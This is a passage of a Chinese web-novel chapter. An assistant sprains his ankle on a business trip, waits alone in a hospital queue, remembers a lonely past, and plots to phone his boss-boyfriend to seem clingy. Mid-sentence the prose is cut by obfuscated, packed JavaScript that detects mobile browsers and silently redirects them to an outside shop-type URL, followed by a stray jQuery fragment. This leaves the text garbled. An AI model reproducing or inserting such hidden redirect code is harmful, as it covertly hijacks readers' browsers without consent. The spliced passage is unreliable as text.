姜泽随雄心壮志、信心满满地计划了一堆,试图在后面几天演绎自己因为谈恋爱而蹬鼻子上脸,耽误傅锦驰工作进度这一剧本。
然而……因为太忙太忙,他预想的好几个发挥场景,都压根没有施展的空间和时间!
姜泽随:“……”
甚至到了周一,为了更高效率推进工作,傅锦驰和姜泽随两人还分头行动了。
傅锦驰带一队人去研究所和工厂,同步准备交涉合作事宜,姜泽随则带其余人去跑对方公司的外部合作企业了解情况。
到了下午三点半,姜泽随收集完了最后一波材料,准备跟同事汇合,将手头的东西汇总整理下,然后就去傅锦驰那边。
电梯处人很多,姜泽随这会在三楼,为了赶时间,姜泽随选择了直接走楼梯。
姜泽随匆匆下楼梯,他运动细胞很不错,又是大长腿,身形轻快,健步如飞。
然而二楼楼道处,不知道是谁很缺德地洒了一地水,姜泽随一个不留神,脚下打滑,右脚直接磕着楼梯往下连掉了三个台阶。
眼看着就要摔下去,还好他眼疾手快,臂力也还不错,抓住扶手,稳住了身形。
但还是崴到脚了。
姜泽随右手紧紧抓着扶手,左手则还不忘护着那一堆资料和笔记本电脑。
他眉心吃痛地皱起,在稳住身形后,疼得弯下腰去,“嘶”了一声。
姜泽随在心里咒骂了下往楼梯上泼水的人,再弯着腰缓了一阵后,他掀起裤脚看了下自己脚腕,又试图活动了下脚腕,得到的结果是又一次吃痛的抽气声。
姜泽随郁卒地屈起右脚,扶着扶梯,单脚蹦着,蹦到了一楼。
到了一楼,他又看了看自己脚腕,蹭破了皮,破点皮他觉得没什么要紧的,主要是现在压根踩不了地,而且脚腕已经有点肿起来了。
看这样子,他就是到了傅锦驰那边,也是行动不便,帮不上什么忙。
他手上的数据和文件倒是可以直接电脑传给同事,调研的分析汇总这件事其他人之前也帮着做过,问题不大,但他手上还有两份盖了章的文件。
姜泽随想着,打了电话给跟他一起出来的一个同事,对方负责跟律所的人对接沟通,这会在附近的一家咖啡店,离他最近。
同事接到电话,很快就赶了过来,见到他脚腕的情况,大惊失色,一阵倒抽气。
“这得赶紧去医院看下。”同事担心地看着他脚腕,下意识想说自己陪他去医院,但想到傅锦驰那边时间也紧迫,又迟疑了下。
他们这一行出来的几人,也是兵分了几路,各自负责要调查的企业或项目,跟他们离得都有点距离。
对方正想着叫哪个同事过来,把他们手上这些数据和文件带回去,但没等他细想,姜泽随就直接把手上的文件包递给了他。
姜泽随完全不在意这点小伤,他甚至反过来宽慰对方,“看着吓人而已,没什么大问题,我估摸着没有伤到骨头的,你和其他人直接回傅总那边,我自己去医院处理下,弄完我打个车回酒店。”
同事不太放心,姜泽随摆摆手,很镇定:“多大点事,你赶紧的,我这边的数据都同步到群里了,你跟舒老师一起整理下。”
同事看了看他神色,应道:“好。”
同事拎着姜泽随的文件包打车离开,姜泽随则掏出手机,看了下最近的医院,叫了车过去。
医院真的是什么时候都生意兴隆,他到医院的时候四点二十,医院还是人头攒动,人工窗口排着长队。
不过还好,姜泽随在过来的路上,先提前用手机线上取了号,不用去人工窗口,他单脚蹦到自动取号机前,排了三个人就取到了号。
看看就诊楼层,在三楼,这个情况他肯定不再蹦到三楼了,他蹦到了直梯处,乘直梯上了三楼,去了运动医学科。
到了科室,找了个位置坐下,等待叫号。
周围自然也都是跟他一样来看病的,有的没有外伤,有的腿上打了石膏,有的有人陪着一起,有的则跟他一样也是一个人。
一个人来医院再正常不过了,姜泽随心里想着,收回了视线。
他低下头,点开了工作群,回复了几条消息,又切到了微信页面。
他的微信置顶是傅锦驰。
置顶了八年了,不过并不是从做傅锦驰助理的第一天就置顶的,是什么时候置顶的?姜泽随回忆了下,记得大概是工作了一个月左右的时候置顶的。
也不是因为什么工作失误,忘回消息之类的原因,就只是他做着做着,很正常地就把傅锦驰的微信置顶了。
他点开了和傅锦驰的微信聊天框,最新的一条消息是中午的时候,他发给傅锦驰的几份文件。
再往上,是昨天晚上他们互相发的小熊晚安表情包。
再再往上,又是一些工作文件。
这几天出差实在太忙,他连微信上给傅锦驰发腻歪消息的时间都不太有,更别说表演他原本预想的因谈恋爱而蹬鼻子上脸,拖累傅锦驰工作进度的剧本。
但其实也不是完全没有发挥的时机。
姜泽随看着两人的聊天记录,撇了撇唇,其实刚才崴到脚,就是一个很好的时机。
他崴到脚,坐在楼下打电话给同事之前,有那么一瞬犹豫过要不要趁机打给傅锦驰,胡搅蛮缠要傅锦驰陪他去医院。
但最后身为特助的责任心,以及拿着高薪要好好办事的良心,让他放弃了这个念头。
自己还是太尽责了!姜泽随在心里夸张地感慨了一番,又猛夸了自己一顿。
傅锦驰有他这么好的特助,真是命好。
也不知道傅锦驰那边现在怎么样了,姜泽随看着傅锦驰的微信头像,不由地想着。
作为华景集团新上任的集团ceo,傅锦驰需要拿出实绩来证明自己。
虽然他要辞职了,也经常私下把抱枕当傅锦驰暴打,但毕竟一起工作了八年,他还是很希望傅锦驰能教出一份漂亮的成绩单,狠狠打脸那些说他是靠父母才坐上这个位置的人。
傅锦驰靠关系?姜泽随觉得这句话实在好笑。
一个个加班的夜晚的场景,暴雨天开车去隔壁城市看项目的场景,历历
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457039|201240||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在目。
他比任何人都知道傅锦驰这些年的努力,有时候他都会忍不住好奇,傅锦驰为什么会这么拼命,一个要什么有什么,含着金汤匙出生的大少爷,为什么会这么卷这么拼。
而现在,这个超级大卷王喜欢他。
姜泽随想到这点,食指屈起,抵着唇瓣,一脸沉思。
不知道会议现在怎么样了,要不在会议快结束的时候,打电话给傅锦驰,抱怨傅锦驰都不关心他,要求傅锦驰来医院陪他?
这次合作很重要,傅锦驰肯定不会来,他也不需要傅锦驰真的来,他只是需要在傅锦驰面前表现得胡搅蛮缠一些。
等会议快结束的时候,该敲定的也差不多敲定了,他打过去,既不会真的影响到这次会议,也可以趁机给傅锦驰一个很差的印象。
姜泽随正想着,叫到了他的号,他进了诊室,医生帮他检查了下,初步判断没有伤到骨头,但还是建议拍个CT,不过CT今天拍不了,要明天才能拍,姜泽随预约了明天一大早的CT。
检查完,医生先给他开了些消肿止疼的药,姜泽随交了费,去取药窗口拿药。
挂号取号可以不走人工窗口,但取药就只有人工窗口了,取药的几个窗口前都排着长队,姜泽随单脚蹦着,到了自己取药的3号窗口。
队伍前进速度缓慢。
金鸡独立的姿势站久了还是不太稳,姜泽随只能偶尔用受伤的那只脚点下地。
脚触地的时候,会有些疼,不过姜泽随面上表现的很好,看不出来他脚腕在疼。
有人在忍着疼排队,也有人无需忍疼,但还有人哄。
被哄着的是姜泽随隔壁队伍的一个女孩,看起来应该初中或者高中,跟她一起排队的应该是她妈妈。
女孩一脸不情愿,甚至是生气,埋怨她妈妈非带她来看中医,明明自己身体没什么问题。
她妈妈被说了也不生气,温温柔柔的,甚至还耐心哄着女孩,“你不是来例假总痛的厉害吗,来看看调理一下呀。”
女孩更生气了,有些害羞地瞪了自己妈妈下,示意她声音小点。
姜泽随眸光扫向这一对看似在生气闹别扭,但其实感情很好的母女,看了下,又收回了目光。
他垂了垂眼睫,受伤的脚没控制好又触了下地,他立即调整了下重心,又再次抬起脚。
他看着地面,耳边是医院嘈杂的人声、女孩跟妈妈小声对话的声音。
长长的队伍缓慢向前移动,就像过去沉沉的时光。
沉沉时光里,好像从初中开始,他就是一个人去医院了。
他才不需要别人陪着来医院,姜泽随想着。
姜泽随受伤的脚又碰了下地,又再抬起,他抿了抿唇,抬起头。
有这闲工夫,不如发消息问问同事会议进展,算好时间给傅锦驰打个电话,胡搅蛮缠一番,恶心一下傅锦驰。
姜泽随一边想着,一边从口袋里摸出手机,点开了前面那位来拿资料的同事的企业微信,他正准备发消息过去,这时一个电话打了进来。
傅锦驰打来的。